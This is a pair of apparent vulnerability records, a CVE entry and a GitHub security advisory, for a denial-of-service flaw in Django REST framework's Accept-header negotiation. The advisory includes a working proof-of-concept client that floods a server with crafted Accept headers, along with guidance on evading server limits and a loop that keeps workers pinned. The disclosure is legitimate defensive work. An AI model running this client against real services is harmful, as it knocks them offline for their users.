{
  "affected": [
    {
      "affectedData": [
        {
          "product": "django-rest-framework",
          "vendor": "encode",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.18.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Django REST framework is a toolkit for building Web APIs. Prior to 3.18.2, DefaultContentNegotiation.get_accept_list in rest_framework/negotiation.py accepts an unbounded number and aggregate size of Accept tokens, while select_renderer in that file repeatedly invokes _MediaType parsing from rest_framework/utils/mediatypes.py for each attacker-controlled token, every renderer, and forced 406 renegotiation. A remote unauthenticated client can send many distinct media types containing large quoted parameter values with numerous semicolons, causing Django\u0027s parameter parser and DRF\u0027s repeated parsing structure to consume disproportionate CPU. Requests to any reachable endpoint can pin synchronous workers for prolonged periods, and concurrent requests can make the service unavailable until the requests stop. This issue is fixed in version 3.18.2."
    }
  ],
  "id": "CVE-2026-114138",
  "lastModified": "2026-10-22T17:34:37.867",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-21T21:17:56.200",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/encode/django-rest-framework/commit/148ab6523922d5a0c110f76615935e5220b63029"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/encode/django-rest-framework/releases/tag/3.18.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/encode/django-rest-framework/security/advisories/GHSA-33wh-fxxf-88vv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-407"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djangorestframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:17:13Z",
    "nvd_published_at": "2026-10-21T21:17:56Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nDRF\u0027s content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django\u0027s parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn\u0027s default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.\n\n\n### Details\n\n#### What happens\n\nget_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.\n\nFor every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. `_MediaType.__init__` calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.\n\nWhen nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.\n\nWith the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.\n\nThe quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count(\u0027\"\u0027, 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.\n\nNumbers from my runs, measured as utime+stime deltas of the server process:\n\none token, ~9KB: 230ms server CPU\n24 tokens, 216KB: 5.07s on runserver, which has no per field limit\n48 tokens, 432KB: 10.08s on runserver\n96 tokens, 780KB: 18.87s under gunicorn defaults\n\nWall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.\n\n#### A few details that matter for reproducing it:\n\nDjango rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.\n\ngunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.\n\norder_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.\n\n#### Where a fix could go, either of these alone would be enough:\n\nParse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.\n\nPut an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.\n\nThe quadratic behavior itself lives in Django\u0027s parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.\n\n\n### PoC\n\nVerified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.\n\nMinimal target, any default DRF project works, this is the one I used.\n\nrequirements.txt:\n\n    django==6.1\n    djangorestframework==3.18.0\n    gunicorn==26.0.0\n\npocproj/settings.py:\n```python\nSECRET_KEY = \u0027poc\u0027; DEBUG = False; ALLOWED_HOSTS = [\u0027*\u0027]\nINSTALLED_APPS = [\u0027django.contrib.contenttypes\u0027, \u0027django.contrib.auth\u0027, \u0027rest_framework\u0027]\nROOT_URLCONF = \u0027pocproj.urls\u0027; WSGI_APPLICATION = \u0027pocproj.wsgi.application\u0027\nDATABASES = {\u0027default\u0027: {\u0027ENGINE\u0027: \u0027django.db.backends.sqlite3\u0027, \u0027NAME\u0027: \u0027:memory:\u0027}}\nUSE_TZ = True\n```\n\npocproj/api.py:\n```python\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nclass Items(APIView):\n    def get(self, request):\n        return Response([{\u0027id\u0027: 1, \u0027name\u0027: \u0027ok\u0027}])\n```\n\npocproj/urls.py:\n```python\nfrom django.urls import path\nfrom .api import Items\nurlpatterns = [path(\u0027items/\u0027, Items.as_view())]\n```\n\nStart it:\n\n    python manage.py migrate --noinput\n    gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2\n\nClient, stdlib only, run with python3:\n```python\nimport http.client, threading, time\n\nTARGET = (\u0027localhost\u0027, 8000)\n\ndef fields(n=96, semis=8100):\n    # 8100 semicolons keeps each field under gunicorn\u0027s limit_request_field_size\n    # (8190) and each token under Django\u0027s MAX_HEADER_LENGTH (10000). Distinct\n    # x{i} names stop order_by_precedence from deduplicating the tokens.\n    return [f\u0027text/x-poc{i}; x{i}=\"\u0027 + \u0027;\u0027*semis + \u0027\"\u0027 for i in range(n)]\n\ndef burn():\n    c = http.client.HTTPConnection(*TARGET, timeout=120)\n    c.putrequest(\u0027GET\u0027, \u0027/items/\u0027, skip_accept_encoding=True)\n    for f in fields():\n        c.putheader(\u0027Accept\u0027, f)\n    c.endheaders()\n    r = c.getresponse(); r.read(); c.close()\n    return r.status\n\nt = time.perf_counter()\nprint(\u0027single:\u0027, burn(), f\u0027{time.perf_counter()-t:.2f}s\u0027)\n# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s\n\nstop = False\n\ndef loop():\n    while not stop:\n        try:\n            burn()\n        except Exception:\n            pass\n\nts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]\nfor x in ts:\n    x.start()\nfor _ in range(9):\n    time.sleep(2)\n    try:\n        c = http.client.HTTPConnection(*TARGET, timeout=3)\n        c.request(\u0027GET\u0027, \u0027/items/\u0027, headers={\u0027Accept\u0027: \u0027application/json\u0027})\n        r = c.getresponse(); r.read(); c.close()\n        print(\u0027health: 200\u0027)\n    except Exception as e:\n        print(\u0027health: DEAD\u0027, type(e).__name__)\nstop = True\n\n# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9\n# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker\n# was between requests. after stop, one more probe timed out while the in-flight\n# request finished, then 200 in 0.57s.\n```\n\n### Impact\n\nAvailability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.\n\nThe requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.\n\nThe negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.",
  "id": "GHSA-33wh-fxxf-88vv",
  "modified": "2026-10-22T16:17:13Z",
  "published": "2026-10-22T16:17:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/security/advisories/GHSA-33wh-fxxf-88vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114138"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/commit/148ab6523922d5a0c110f76615935e5220b63029"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/encode/django-rest-framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/releases/tag/3.18.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation"
}